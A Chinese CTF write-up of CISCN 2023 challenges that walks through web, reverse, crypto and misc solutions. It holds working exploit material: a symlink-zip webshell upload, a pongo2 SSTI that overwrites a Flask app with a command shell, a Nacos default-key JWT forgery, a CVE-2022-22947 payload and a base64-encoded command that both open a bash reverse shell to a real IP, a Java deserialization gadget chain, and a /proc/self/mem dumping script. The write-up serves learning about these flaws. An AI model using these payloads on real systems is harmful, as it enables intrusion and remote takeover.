前言
比赛那两天感冒了直接大脑宕机,赛后看看还是能学到很多东西的
2024.5.17:太晚了,现在才复现完。。
参考:
https://exp10it.io/2023/05/2023-ciscn-%E5%88%9D%E8%B5%9B-web-writeup/
https://blog.csdn.net/m0_46246804/article/details/131881941
https://www.yuque.com/misery333/sz1apr/pu2fcu7s6bg10333
初赛
WEB
Unzip
文件上传
推荐搜索关键字:web unzip
进入题目点下上传按钮就可以看到题目的源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this! 可以发现这题要求我们传入压缩包,然后会传入/tmp下的随机目录,那么接下来需要做的就是想想怎么得知传入文件的位置以获取shell
这里就需要采用linux的软连接
我们先在linux环境下生成一个指向/var/www/html的软连接cmd
ln -s /var/www/html cmd然后将其压缩(一定要用命令zip -y压缩)
zip -y cmd.zip cmd
这就是我们要上传的第一个压缩包
然后写一个一句话木马1.php
放在/cmd文件夹下,将整个cmd文件夹压缩为cmd1.zip,这就是第二个上传的压缩包
两个压缩包的原理详见我的文章linux软连接
按顺序上传两个压缩包(ctfshow的复现环境需要我们本地自己强制上传,这里也贴上本地代码)
<!--
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-29 09:44:50
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-29 12:15:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
-->
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>本地文件上传</title>
</head>
<body>
	<form action="改成要上传的网址" enctype="multipart/form-data" method="post">
    <input type="file" name="file">
    <input type="submit" value="upload">
</form>
</body>
</html>成功getshell

那直接cat /flag_is_here.txt即可
dumpit
并不是sql注入,而是命令执行
因为sql查询语句本质上也是一个命令执行,题目中存在%0a截断,所以截断后执行命令就行
(这题尚且没有环境复现,只能先云一云)
大多数人的解法都是非预期直接env看环境变量发现flag
cat不能读flag,应该是权限不足,预期解好像只有dump是具有读取权限的,猜测要提权(?
go_session
go pongo2 ssti + flask文件覆盖
main.go
package main
import (
	"github.com/gin-gonic/gin"
	"main/route"
)
func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/admin", route.Admin)
	r.GET("/flask", route.Flask)
	r.Run("0.0.0.0:80")
}给了三个路由,我们分开审route.go
首先是根路由,session由 gorilla/sessions 实现, 并且 session key 从环境变量中获得
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}
	c.String(200, "Hello, guest")
}判断cookie,如果是空就设置为guest,且固定返回Hello, guest
然后是/admin路由
func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}session伪造
判断session中name的值是否为admin,那么首先需要进行session伪造,这里比较离谱的地方是题目服务器上并没有设置SESSION_KEY,而os.Getenv 如果获取不存在的环境变量就会返回空值,于是我们只需要在本地自己用空key生成一个session.Values["name"] = "admin"即可

可以看到一开始会进去赋值guest ,现在我们自行改成赋一个admin即可
if session.Values["name"] == nil || session.Values["name"] == "guest" {
	session.Values["name"] = "admin"得到session值MTcxNTg2OTUxM3xEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw4MCHU5c5wqaagdWzNYTV_VOxfy4OXoPemn9Jpxqq-GA==
把返回的cookie值取出来,访问/admin路由

此时就能过判断条件了
SSTI
然后是tpl.Execute(pongo2.Context{"c": c}),pongo2的模板渲染,这里存在ssti。在tpl.execute的时候是把c也放进去了的,这个c代表着gin里的上下文对象,这样我们就可以引用Context下的所有函数了,我们跟进一下gin.Context看看有什么函数可以利用的(其实可以直接翻文档https://pkg.go.dev/github.com/gin-gonic/gin)
发现存在文件上传的函数
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error {
	src, err := file.Open()
	if err != nil {
		return err
	}
	defer src.Close()
	if err = os.MkdirAll(filepath.Dir(dst), 0750); err != nil {
		return err
	}
	out, err := os.Create(dst)
	if err != nil {
		return err
	}
	defer out.Close()
	_, err = io.Copy(out, src)
	return err
}那么我们可以通过c.SaveUploadedFile(file, file.Filename)的方式进行文件上传
参考:https://www.imwxz.com/posts/2b599b70.html#template%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7
ssti payload的雏形:
{{.SaveUploadedFile (.FormFile "file") "/etc/crontab"}}最后是/flask路由
func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)
	c.String(200, string(body))
}可以访问后端的flask,还可以用name参数指定后端要访问的路由,在题目测试的时候发现访问/flask?name=会产生debug报错界面,说明开了debug,报错信息告诉了我们远程的flask文件路径为/app/server.py,这里值得注意的是debug模式下是支持文件热更新的
那么我们本地调试的时候可以自己也写一个server.py,结合前面文件上传的函数可以实现覆盖flask文件触发命令执行
题目原始flask文件的内容大概像下面这样:
# -*- coding: utf-8 -*-
from flask import Flask
app = Flask(__name__)
d = {
    "h": "hello world!"
}
@app.route("/")
def hello():
    return "hello"
if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)而我们的要上传的payload为:
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'
    
if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)那么接下来的问题是怎么上传,注意到代码渲染前有这样一段xssWaf := html.EscapeString(name),会把引号转义,那么前面参考文章里的{{.SaveUploadedFile (.FormFile "file") "/etc/crontab"}}就用不了了
我们需要换一个方式传入字符串,继续翻gin.Context,发现这个库里面又包装了Request和ResponseWriter,跟进一下发现可以直接读取请求头,这里选择UserAgent

那么构造我们的ssti payload:
{{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}}构造http请求包
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: 7e323704-99b1-4f81-925b-5be0b527f2a1.challenge.ctf.show
Content-Length: 613
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session-name=MTcxNTg2OTUxM3xEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw4MCHU5c5wqaagdWzNYTV_VOxfy4OXoPemn9Jpxqq-GA==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'
    
if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--payload:
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Accept.0),c.Request.Header.Referer.0)}} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: filename
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: E:\\
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
Cookie: session-name=MTY4NTQxODc4MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXy7WOrYaP386kpRTizyXWrsODK1UE5c9AocfIk5qtTjkA==
Upgrade-Insecure-Requests: 1
Content-Length: 591
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="filename"; filename="server.py"
Content-Type: text/plain
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'
if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--然后name参数指定路由,访问/flask?name=/shell?cmd=ls${IFS}/

(NSS的靶机flag在环境变量)
BackendService
nacos jwt 默认密钥未授权漏洞 + Spring Cloud Gateway RCE
jwt默认密钥未授权
参考:https://www.cnblogs.com/backlion/p/17246695.html
这里直接拿默认密钥去试:SecretKey012345678901234567890123456789012345678901234567890123456789
先整个时间戳

然后伪造jwt中的payload
{
  "sub": "nacos",
  "exp": 1716218968
}填入密钥

得到eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjIxODk2OH0.jgoi0wZ6Qy5pjhNucAnpPWGnZ9YGXqylGadSsyx7mxI
填到请求头中
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjIxODk2OH0.jgoi0wZ6Qy5pjhNucAnpPWGnZ9YGXqylGadSsyx7mxI
于是得到了nacos的token信息
把这个Authorization带回到我们拦截的请求然后发出去,于是就进后台了

CVE-2022-22947
参考:https://xz.aliyun.com/t/11493
poc:注意给的backend服务里写了配置,Data ID 为 backcfg 并且内容为 json 格式

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "http://example.com/",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/115.236.153.172/13314 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}
发布配置,然后就弹shell了


DeserBug
爆改cc链
hint:
- cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept 
- jdk8u202 
给了个jar包,解压下来看一下 com 里的源码
Testapp.class
package com.app;
import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Testapp {
    public Testapp() {
    }
    public static void main(String[] args) {
        HttpUtil.createServer(8888).addAction("/", (request, response) -> {
            String bugstr = request.getParam("bugstr");
            String result = "";
            if (bugstr == null) {
                response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
            }
            try {
                byte[] decode = Base64.getDecoder().decode(bugstr);
                ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
                Object object = inputStream.readObject();
                result = object.toString();
            } catch (Exception var8) {
                Myexpect myexpect = new Myexpect();
                myexpect.setTypeparam(new Class[]{String.class});
                myexpect.setTypearg(new String[]{var8.toString()});
                myexpect.setTargetclass(var8.getClass());
                try {
                    result = myexpect.getAnyexcept().toString();
                } catch (Exception var7) {
                    result = var7.toString();
                }
            }
            response.write(result, ContentType.TEXT_PLAIN.toString());
        }).start();
    }
}这个类中会直接对传入的bugstr参数base64解码并反序列化,并且还会调用toString()方法

注意到题目给了 commons-collections 和 hutool 依赖,hutool是用来起web服务的;而cc依赖的版本是3.2.2,比起存在多条利用链的 3.2.1,这个版本把CC6要用到的InvokerTransformer类干掉了
不过可以想到的是,既然环境专门选择了相对不常见的 hutool 起 web 服务,其中就大概率存在可利用的利用链
Myexpect实例化类
Myexpect.class
package com.app;
import java.lang.reflect.Constructor;
public class Myexpect extends Exception {
    private Class[] typeparam;
    private Object[] typearg;
    private Class targetclass;
    public String name;
    public String anyexcept;
    public Class getTargetclass() {
        return this.targetclass;
    }
    public void setTargetclass(Class targetclass) {
        this.targetclass = targetclass;
    }
    public Object[] getTypearg() {
        return this.typearg;
    }
    public void setTypearg(Object[] typearg) {
        this.typearg = typearg;
    }
    public Object getAnyexcept() throws Exception {
        Constructor con = this.targetclass.getConstructor(this.typeparam);
        return con.newInstance(this.typearg);
    }
    public void setAnyexcept(String anyexcept) {
        this.anyexcept = anyexcept;
    }
    public Class[] getTypeparam() {
        return this.typeparam;
    }
    public void setTypeparam(Class[] typeparam) {
        this.typeparam = typeparam;
    }
    public String getName() {
        return this.name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Myexpect() {
    }
}这个类用来触发getter,其中getAnyexcept方法有this.targetclass.getConstructor获取构造方法,然后con.newInstance
即可以实例化一个单参数的类
TrAXFilter连上cc3
这个时候想到cc3里的com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

于是后半段直接连上cc3即可
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());
Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});JSONObject调用Myexpect
接下来要找从 readObject / toString 到 put / add 的链子
hint告诉我们cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept,即利用链的触发点在cn.hutool.json.JSONObject#put()方法
自己写一个恶意类测试一下
public class Evil {
    public Evil() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}poc:
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
public class TmpTest {
    public static void main(String[] args) {
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(Evil.class);
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("whatcanisay", myexpect);
    }
}
可以看到成功弹出了计算器,也即最终触发了com.app.Myexpect#getAnyexcept()方法,并实例化了本地的Evil类
那么接下来找在反序列化阶段能够调用JSONObject#put()的地方
LazyMap调用JSONObject
这里考虑LazyMap#get来调用put方法(其实是我弄不出来 JSONObject 的UML图,不然可以发现它实现了Map接口)
早在 CC1 利用链中我们就接触过LazyMap,经过 LazyMap 修饰后的Map将会在LazyMap#get()方法被触发时才调用Map#put()方法将元素放入,而这刚好符合我们对调用JSONObject#put()的期望

TiedMapEntry调用LazyMap#get
接下来找调用get的地方,CC6链里面我们曾经用TiedMapEntry来调用get
现在我们直接把cc6加进去
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
    public static void main(String[] args) throws Exception {
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(Evil.class);
        JSONObject jsonObject = new JSONObject();
        Map outerMap = LazyMap.decorate(jsonObject, new ConstantTransformer("whatever"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "value");
        outerMap.remove("keykey");
        setValue(outerMap, "factory", new ConstantTransformer(myexpect));
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(barr.toByteArray()), "UTF-8"));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
成功实例化evil类
接下来拼cc3,用javassist得到字节码
最终exp:
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"/usr/bin/kcalc\");\n}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] byteCode = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "whatever");
        setValue(templates, "_bytecodes", new byte[][]{byteCode});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});
        JSONObject jsonObject = new JSONObject();
        Map outerMap = LazyMap.decorate(jsonObject, new ConstantTransformer("whatever"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "value");
        outerMap.remove("keykey");
        setValue(outerMap, "factory", new ConstantTransformer(myexpect));
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(barr.toByteArray()), "UTF-8"));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}注:这里我自己把本地的javassist和DeserBug.jar包添加为了当前项目库

成功弹计算器,接下来打远程弹shell即可
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzIvMTMzMTQgMD4mMQ==}|{base64,-d}|{bash,-i}");

总结一下链子:
HashMap
    ->readObject()
    ->hash(key)
TiedMapEntry
    ->hashCode()
        ->getValue()
            ->map.get(key)
LazyMap
    ->get(key)
    ->this.map.put(key, value)
JSONObject
	->put(...,value)
		->value.getter
Myexpect
	->getAnyexcept()
		//这里可以调用可控类的可控参数的构造器
		
TrAXFilter
    ->TrAXFilter(templates)
        ->templates.newTransformer()
TemplatesImpl
    ->newTransformer()reading
任意文件读取读内存算key + 时间戳爆破
做题环境有点苛刻(指时间戳爆破读取纳秒)
复现环境参考:https://www.yuque.com/dat0u/ctf/uyn4u57d8dih5i01
app.py
# -*- coding:utf8 -*-
import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime
app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()
books = os.listdir('./books')
books.sort(reverse=True)
@app.route('/')
def index():
    if session:
        book = session['book']
        page = session['page']
        page_size = session['page_size']
        total_pages = session['total_pages']
        filepath = session['filepath']
        words = read_file_page(filepath, page, page_size)
        return render_template('index.html', books=books, words=words)
    return render_template('index.html', books=books)
@app.route('/books', methods=['GET', 'POST'])
def book_page():
    if request.args.get('book'):
        book = request.args.get('book')
    elif session:
        book = session.get('book')
    else:
        return render_template('index.html', books=books, message='I need book')
    book = book.replace('..', '.')
    filepath = './books/' + book
    if request.args.get('page_size'):
        page_size = int(request.args.get('page_size'))
    elif session:
        page_size = int(session.get('page_size'))
    else:
        page_size = 3000
    total_pages = math.ceil(os.path.getsize(filepath) / page_size)
    if request.args.get('page'):
        page = int(request.args.get('page'))
    elif session:
        page = int(session.get('page'))
    else:
        page = 1
    words = read_file_page(filepath, page, page_size)
    prev_page = page - 1 if page > 1 else None
    next_page = page + 1 if page < total_pages else None
    session['book'] = book
    session['page'] = page
    session['page_size'] = page_size
    session['total_pages'] = total_pages
    session['prev_page'] = prev_page
    session['next_page'] = next_page
    session['filepath'] = filepath
    return render_template('index.html', books=books, words=words)
@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if hashlib.md5(session.get('key').encode()).hexdigest() == key:
        return os.popen('/readflag').read()
    else:
        return "no no no"
def read_file_page(filename, page_number, page_size):
    for i in range(3):
        for j in range(3):
            size = page_size + j
            offset = (page_number - 1) * page_size + i
            try:
                with open(filename, 'rb') as file:
                    file.seek(offset)
                    words = file.read(size)
                return words.decode().split('\n')
            except Exception as e:
                pass
    # if error again
    offset = (page_number - 1) * page_size
    with open(filename, 'rb') as file:
        file.seek(offset)
        words = file.read(page_size)
    return words.split(b'\n')
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8000')exp:
import os,requests,re
def dowload(file,offset=0,length=0):
    if offset:
        page = int(offset) // int(length)
        print(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
        res=requests.get(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
    else:
        res = requests.get(f"{url}books?book=.../.../.../.../...{file}&page=1&page_size=2000000000")
    text=res.text
    return text
url="http://1.1.1.1:12345/"
# 读取/proc/self/maps
maps = open(f'maps', 'wb')
maps.write(dowload("/proc/self/maps").encode())
maps.close()
# 清空本地save目录
os.system("rm -rf ./save;mkdir save")
for i in open('maps','r').read().split('\n'):
    if ".so" in i or "lib" in i or"python3" in i or"dev" in i:
        continue
    t = re.search(r'[0-9a-f]{12}-[0-9a-f]{12}', i)
    if t:
        location = t.group().split("-")
    else:
        continue
    try:
        start, end="0x"+location[0],"0x"+location[1]
    except:
        continue
    print("./save/"+start+"-"+end)
    save = open(
        "./save/"+start+"-"+end,"wb"
    )
    save.write(
        dowload(
            "/proc/self/mem",
            str(int(start,16)),
            str(int(end,16)-int(start,16))
        ).encode()
    )REVERSE
babyRE
异或
xml+snap
推荐搜索关键词:ctf snap xml
下载题目附件得到xml文件
在开头发现一个链接,打开是一个snap的网站(貌似是个适合小孩子的编程语言)
点击网站中的run snap!,将xml文件拖入
在lock段发现主要的源代码和逻辑

可以看到左边有一个长度为29的数组,右边有一个异或的代码段
那我们就编写python脚本跑一下获取flag即可
a = [
    102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25,
    81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85,
    87, 30
]
flag = 'f'
for i in range(1, len(a)):
    a[i] = a[i - 1] ^ a[i]
    flag += chr(a[i])
print(flag)
# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}Crypto
Sign_in_passwd
换表base64
下载题目附件,得到两行字符(第二行需经过url解码)
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5是换表base64
脚本解:
import base64
import string
from Crypto.Util.number import *
str1 = "j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D"
new  = "GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF"
inti = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(new,inti))))
# 输出
# b'flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}'MISC
被加密的生产流量
下载题目附件,追踪modbus流量包的tcp流发现base32,解码获得flag

法2:nss上看见大佬写的自动提取脚本,copy来用一下(
import pyshark
flag = ''
tmp = 0
cap = pyshark.FileCapture(input_file="modbus.pcap",tshark_path='D:\WireShark\Wireshark.exe',display_filter='modbus  && frame.len == 66')
def hex2str(id:str) -> str:
    return str(bytes.fromhex(id)).replace("b","").replace("\'","")
for p in cap:
    try:
        if len(p.modbus.word_cnt) == 5:
            tmp = p.modbus.word_cnt
            tmp = str(hex(int(p.modbus.word_cnt))).replace("0x","")
            flag = flag + tmp
    except:
        pass
flag = hex2str(flag)
print(flag)
# 输出
# MMYWMX3GNEYWOXZRGAYDA=pyshell
python
nc连上靶机,回显”Welcome to this python shell,try to find the flag!”
得知是一个python的交互环境
经过测试发现最大输入长度只能为7,否则会返回”nop”
题目描述说flag在/flag
那就先直接cat /flag
而在python的交互环境下,命令执行的语句是
__import__('os').system('cat /flag')接下来的问题就是怎么绕过这个长度限制
我们知道linux的环境变量中有一个_会记录上一次的表达结果,其实python交互环境下也是如此
所以我们接下来分别输入以下内容即可获取flag
'__imp'
_+'ort'
_+'__('
_+"'os"
_+"')."
_+"sys"
_+"tem"
_+"('c"
_+"at "
_+"/fl"
_+"ag'"
_+")"
eval(_)
分区赛
[CISCN 2023 华北]ez_date
反序列化
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}
unserialize(base64_decode($_GET['code']));审计代码,ban掉了数组,要进行md5和sha1的强比较,我们可以用字符串与数字的弱类型特性绕过
测试:
<?php
echo (md5(1)===md5("1"));
echo "\n";
echo (sha1(1)===sha1("1"));
date函数:
格式化一个本地时间/日期
这个函数有一个特性:可以在格式字串中的字符前加上反斜线来转义
测试:
<?php
echo date("/flag");
// 返回/fMondaypm1
echo date("/f\l\a\g");
// 返回/flag意义不明的正则表达式匹配
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符(\n)+: 匹配一个或多个换行符/i : 匹配时不区分大小写
exp:
<?php
class date{
    public $a=1;
    public $b='1';
    public $file="/f\l\a\g";
}
$a=new date();
echo(base64_encode(serialize(($a))));